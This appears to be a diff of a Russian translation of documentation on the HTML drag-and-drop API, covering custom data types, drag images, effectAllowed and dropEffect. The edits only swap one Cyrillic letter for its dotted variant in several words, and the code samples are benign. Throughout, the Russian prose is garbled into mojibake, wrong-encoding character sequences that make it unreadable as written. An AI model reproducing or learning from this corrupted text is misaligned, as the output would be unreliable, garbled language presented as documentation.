ΠΈΠ»ΠΈ Π½Π° ΠΎΠ΄Π½ΠΎΠΉ страницС.</p>
+<p>Π”ΠΎΠ±Π°Π²Π»Π΅Π½Ρ‹ Π΄Π°Π½Π½Ρ‹Π΅ Ρ‚Ρ€Ρ‘Ρ… Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΎΠ². ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ Ρ‚ΠΈΠΏ - <code>application/x.bookmark</code>, ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ Ρ‚ΠΈΠΏ.Π”Ρ€ΡƒΠ³ΠΈΠ΅ прилоТСния Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ Π΄Π°Π½Π½Ρ‹ΠΉ Ρ‚ΠΈΠΏ, Π½ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ Ρ‚ΠΈΠΏ для пСрСтаскивания ΠΌΠ΅ΠΆΠ΄Ρƒ областями Π² ΠΎΠ΄Π½ΠΎΠΌ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΈΠ»ΠΈ Π½Π° ΠΎΠ΄Π½ΠΎΠΉ страницС.</p>
<p>ΠŸΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡ Π΄Π°Π½Π½Ρ‹Π΅ ΠΈ Π² Π΄Ρ€ΡƒΠ³ΠΈΡ… Ρ‚ΠΈΠΏΠ°Ρ…, ΠΌΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ пСрСтаскиваниС Π² Π΄Ρ€ΡƒΠ³ΠΈΠ΅ прилоТСния Π² ΠΌΠ΅Π½Π΅Π΅ спСцифичных Ρ„ΠΎΡ€ΠΌΠ°Ρ…. Π’ΠΈΠΏ <code>application/x.bookmark</code> ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ с Β Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠ΅ΠΉ для использования Π² ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ, Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Ρ‚ΠΈΠΏΡ‹ ΠΌΠΎΠ³ΡƒΡ‚ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄ΠΈΠ½ URL-адрСс ΠΈΠ»ΠΈ Ρ‚Π΅ΠΊΡΡ‚ΠΎΠ²ΡƒΡŽ Π²Π΅Ρ€ΡΠΈΡŽ.</p>
@@ -98,7 +98,7 @@ dt.setData("text/plain", "https://www.mozilla.org");
<h2 id="dragfeedback" name="dragfeedback">Настройка изобраТСния ΠΎΡ‚ΠΊΠ»ΠΈΠΊΠ° drag</h2>
-<p>Когда происходит пСрСтаскиваниС, ΠΏΠΎΠ»ΡƒΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½ΠΎΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ гСнСрируСтся ΠΈΠ· Ρ†Π΅Π»ΠΈ пСрСтаскивания (событиС "{{event("dragstart")}}" элСмСнта срабатываСт), ΠΈ слСдуСт Π·Π° ΡƒΠΊΠ°Π·Π°Ρ‚Π΅Π»Π΅ΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π²ΠΎ врСмя пСрСтаскивания. Π­Ρ‚ΠΎ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ создаСтся автоматичСски, поэтому Π²Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Π΅Π³ΠΎ ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ. Однако Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ {{domxref("DataTransfer.setDragImage","setDragImage()")}} для задания ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ изобраТСния ΠΎΡ‚ΠΊΠ»ΠΈΠΊΠ° пСрСтаскивания.</p>
+<p>Когда происходит пСрСтаскиваниС, ΠΏΠΎΠ»ΡƒΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½ΠΎΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ гСнСрируСтся ΠΈΠ· Ρ†Π΅Π»ΠΈ пСрСтаскивания (событиС "{{event("dragstart")}}" элСмСнта срабатываСт), ΠΈ слСдуСт Π·Π° ΡƒΠΊΠ°Π·Π°Ρ‚Π΅Π»Π΅ΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π²ΠΎ врСмя пСрСтаскивания. Π­Ρ‚ΠΎ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ создаётся автоматичСски, поэтому Π²Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Π΅Π³ΠΎ ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ. Однако Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ {{domxref("DataTransfer.setDragImage","setDragImage()")}} для задания ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ изобраТСния ΠΎΡ‚ΠΊΠ»ΠΈΠΊΠ° пСрСтаскивания.</p>
<pre class="brush: js">event.dataTransfer.setDragImage(image, xOffset, yOffset);
</pre>
@@ -131,7 +131,7 @@ dt.setData("text/plain", "https://www.mozilla.org");
<p>ΠŸΡ€ΠΈ пСрСтаскивании ΠΌΠΎΠΆΠ½ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ нСсколько ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ. ΠžΠΏΠ΅Ρ€Π°Ρ†ΠΈΡΒ  <code>copy</code> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для указания Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ пСрСтаскиваСмыС Π΄Π°Π½Π½Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ скопированы ΠΈΠ· Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ мСстополоТСния Π² мСсто пСрСтаскивания. ΠžΠΏΠ΅Ρ€Π°Ρ†ΠΈΡΒ <code>move</code> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для указания Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ пСрСтаскиваСмыС Π΄Π°Π½Π½Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½Ρ‹, Π° опСрация <code>link</code> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для указания Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΠ΅ΠΆΠ΄Ρƒ исходным ΠΈ удаляСмым мСстополоТСниями Π±ΡƒΠ΄Π΅Ρ‚ создана нСкоторая Ρ„ΠΎΡ€ΠΌΠ° связи ΠΈΠ»ΠΈ соСдинСния.</p>
-<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ, какая ΠΈΠ· Ρ‚Ρ€Π΅Ρ… ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π° для источника пСрСтаскивания, установив свойство {{domxref("DataTransfer.effectAllowed","effectAllowed")}} Π² ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ΅ событий<code>{{event("dragstart")}}</code>.</p>
+<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ, какая ΠΈΠ· Ρ‚Ρ€Ρ‘Ρ… ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π° для источника пСрСтаскивания, установив свойство {{domxref("DataTransfer.effectAllowed","effectAllowed")}} Π² ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ΅ событий<code>{{event("dragstart")}}</code>.</p>
<pre class="brush: js">event.dataTransfer.effectAllowed = "copy";
</pre>
@@ -161,13 +161,13 @@ dt.setData("text/plain", "https://www.mozilla.org");
<dd>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ <code>all</code>.</dd>
</dl>
-<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ эти значСния Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ ΡƒΠΊΠ°Π·Π°Π½ΠΎ Π²Ρ‹ΡˆΠ΅. НапримСр, установка свойства {{domxref("DataTransfer.effectAllowed","effectAllowed")}} Π½Π° <code>copyMove</code> позволяСт Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΡŽ копирования ΠΈΠ»ΠΈ пСрСмСщСния, Π½ΠΎ Π½Π΅ позволяСт ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΡŽ связывания. Если Π²Ρ‹ Π½Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚Π΅ свойство {{domxref("DataTransfer.effectAllowed","effectAllowed")}},Β  Ρ‚ΠΎ любая опСрация Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π°, ΠΊΠ°ΠΊ ΠΈ со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ '<code>all</code>'. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ Π²Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ Π½Π°ΡΡ‚Ρ€Π°ΠΈΠ²Π°Ρ‚ΡŒ это свойство, Ссли Π²Ρ‹ Π½Π΅ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΈΡΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ Ρ‚ΠΈΠΏΡ‹.</p>
+<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ эти значСния Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ ΡƒΠΊΠ°Π·Π°Π½ΠΎ Π²Ρ‹ΡˆΠ΅. НапримСр, установка свойства {{domxref("DataTransfer.effectAllowed","effectAllowed")}} Π½Π° <code>copyMove</code> позволяСт Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΡŽ копирования ΠΈΠ»ΠΈ пСрСмСщСния, Π½ΠΎ Π½Π΅ позволяСт ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΡŽ связывания. Если Π²Ρ‹ Π½Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚Π΅ свойство {{domxref("DataTransfer.effectAllowed","effectAllowed")}},Β  Ρ‚ΠΎ любая опСрация Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π°, ΠΊΠ°ΠΊ ΠΈ со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ '<code>all</code>'. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ Π²Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ Π½Π°ΡΡ‚Ρ€Π°ΠΈΠ²Π°Ρ‚ΡŒ это свойство, Ссли Π²Ρ‹ Π½Π΅ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΈΡΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ Ρ‚ΠΈΠΏΡ‹.</p>
<p>Π’ΠΎ врСмя ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ пСрСтаскивания, ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ для событий <code>{{event("dragenter")}}</code> ΠΈΠ»ΠΈ <code>{{event("dragover")}}</code> ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ свойство {{domxref("DataTransfer.effectAllowed","effectAllowed")}} , ΠΊΠ°ΠΊΠΈΠ΅ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½Ρ‹. БвязанноС свойство,Β  {{domxref("DataTransfer.dropEffect","dropEffect")}}, Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ установлСно Π² ΠΏΡ€Π΅Π΄Π΅Π»Π°Ρ… ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ· этих событий, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ, какая СдинствСнная опСрация Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Π°. ДопустимыС значСния для {{domxref("DataTransfer.dropEffect","dropEffect")}} - <code>none</code>, <code>copy</code>, <code>move</code>, ΠΈΠ»ΠΈ <code>link</code>. ΠšΠΎΠΌΠ±ΠΈΠ½ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ значСния для этого свойства Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ.</p>
<p>Π‘ событиями <code>{{event("dragenter")}}</code> ΠΈ <code>{{event("dragover")}}</code>, свойство {{domxref("DataTransfer.dropEffect","dropEffect")}} инициализируСтся Π² соотвСтствии с запросом ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ. ΠŸΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΆΠ΅Π»Π°Π΅ΠΌΡ‹ΠΉ эффСкт, Π½Π°ΠΆΠ°Π² клавиши-ΠΌΠΎΠ΄ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Ρ‹. Π₯отя Ρ‚ΠΎΡ‡Π½Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ клавиши Ρ€Π°Π·Π»ΠΈΡ‡Π°ΡŽΡ‚ΡΡ Π² зависимости ΠΎΡ‚ ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡ‹, ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ клавиши  <kbd>Shift</kbd> ΠΈ <kbd>Control</kbd> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ для ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠΎΠΏΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ, ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠ΅ΠΌ ΠΈ связываниСм. Π£ΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒ ΠΌΡ‹ΡˆΠΈ измСнится, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ, какая опСрация трСбуСтся. НапримСр, для <code>copy</code> курсор ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΡΠ²ΠΈΡ‚ΡŒΡΡ со Π·Π½Π°ΠΊΠΎΠΌ плюс рядом с Π½ΠΈΠΌ.</p>
-<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ свойство {{domxref("DataTransfer.dropEffect","dropEffect")}} Π²ΠΎ врСмя событий <code>{{event("dragenter")}}</code> ΠΈΠ»ΠΈ <code>{{event("dragover")}}</code>, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, опрСдСлСнная drop-Ρ†Π΅Π»ΡŒ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ свойство {{domxref("DataTransfer.dropEffect","dropEffect")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ дСйствиС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, ΠΈ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ спСцифичной  ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ пСрСтаскивания ΠΏΡ€ΠΈ Π΅Π΅ наступлСнии. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ этот эффСкт Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΡƒΠΊΠ°Π·Π°Π½ Π² спискС свойств {{domxref("DataTransfer.effectAllowed","effectAllowed")}}. Π’ ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС Π΅ΠΌΡƒ Π±ΡƒΠ΄Π΅Ρ‚ присвоСно Π΄Ρ€ΡƒΠ³ΠΎΠ΅ допустимоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅.</p>
+<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ свойство {{domxref("DataTransfer.dropEffect","dropEffect")}} Π²ΠΎ врСмя событий <code>{{event("dragenter")}}</code> ΠΈΠ»ΠΈ <code>{{event("dragover")}}</code>, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, опрСдСлённая drop-Ρ†Π΅Π»ΡŒ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ свойство {{domxref("DataTransfer.dropEffect","dropEffect")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ дСйствиС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, ΠΈ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ спСцифичной  ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ пСрСтаскивания ΠΏΡ€ΠΈ Π΅Ρ‘ наступлСнии. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ этот эффСкт Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΡƒΠΊΠ°Π·Π°Π½ Π² спискС свойств {{domxref("DataTransfer.effectAllowed","effectAllowed")}}. Π’ ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС Π΅ΠΌΡƒ Π±ΡƒΠ΄Π΅Ρ‚ присвоСно Π΄Ρ€ΡƒΠ³ΠΎΠ΅ допустимоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅.</p>
<pre class="brush: js">event.dataTransfer.dropEffect = "copy";
</pre>
@@ -182,17 +182,17 @@ dt.setData("text/plain", "https://www.mozilla.org");
<p>Π‘Π»ΡƒΡˆΠ°Ρ‚Π΅Π»ΡŒ для событий <code>{{event("dragenter")}}</code> ΠΈ <code>{{event("dragover")}}</code> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ для указания допустимых drop-Ρ†Π΅Π»Π΅ΠΉ, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ мСст, Π³Π΄Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΡΠ±Ρ€ΠΎΡˆΠ΅Π½Ρ‹ пСрСтаскиваСмыС элСмСнты. Π‘ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ областСй Π²Π΅Π±-страницы ΠΈΠ»ΠΈ прилоТСния Π½Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ допустимыми мСстами для сброса Π΄Π°Π½Π½Ρ‹Ρ…. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° этих событий ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π½Π΅ допускаСт сброса пСрСтаскиваСмых Π΄Π°Π½Π½Ρ‹Ρ….</p>
-<p>Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡŒ сброс пСрСносимых Π΄Π°Π½Π½Ρ‹Ρ…, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΡ€Π΅Π΄ΠΎΡ‚Π²Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, ΠΎΡ‚ΠΌΠ΅Π½ΠΈΠ² ΠΎΠ±Π° события <code>dragenter</code> ΠΈ <code>dragover</code>. Β Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, Π»ΠΈΠ±ΠΎ Π²Π΅Ρ€Π½ΡƒΠ² <code>false</code> ΠΈΠ· ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° событий, Π»ΠΈΠ±ΠΎ Π²Ρ‹Π·Π²Π°Π² ΠΌΠ΅Ρ‚ΠΎΠ΄ {{domxref("Event.preventDefault","preventDefault()")}} событиС. ПослСднСС ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ осущСствимо Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠΌ скриптС.</p>
+<p>Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡŒ сброс пСрСносимых Π΄Π°Π½Π½Ρ‹Ρ…, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΡ€Π΅Π΄ΠΎΡ‚Π²Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, ΠΎΡ‚ΠΌΠ΅Π½ΠΈΠ² ΠΎΠ±Π° события <code>dragenter</code> ΠΈ <code>dragover</code>. Β Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, Π»ΠΈΠ±ΠΎ Π²Π΅Ρ€Π½ΡƒΠ² <code>false</code> ΠΈΠ· ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° событий, Π»ΠΈΠ±ΠΎ Π²Ρ‹Π·Π²Π°Π² ΠΌΠ΅Ρ‚ΠΎΠ΄ {{domxref("Event.preventDefault","preventDefault()")}} событиС. ПослСднСС ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ осущСствимо Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΉ Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠΌ скриптС.</p>
<pre class="brush: html">&lt;div ondragover="return false"&gt;
&lt;div ondragover="event.preventDefault()"&gt;
</pre>
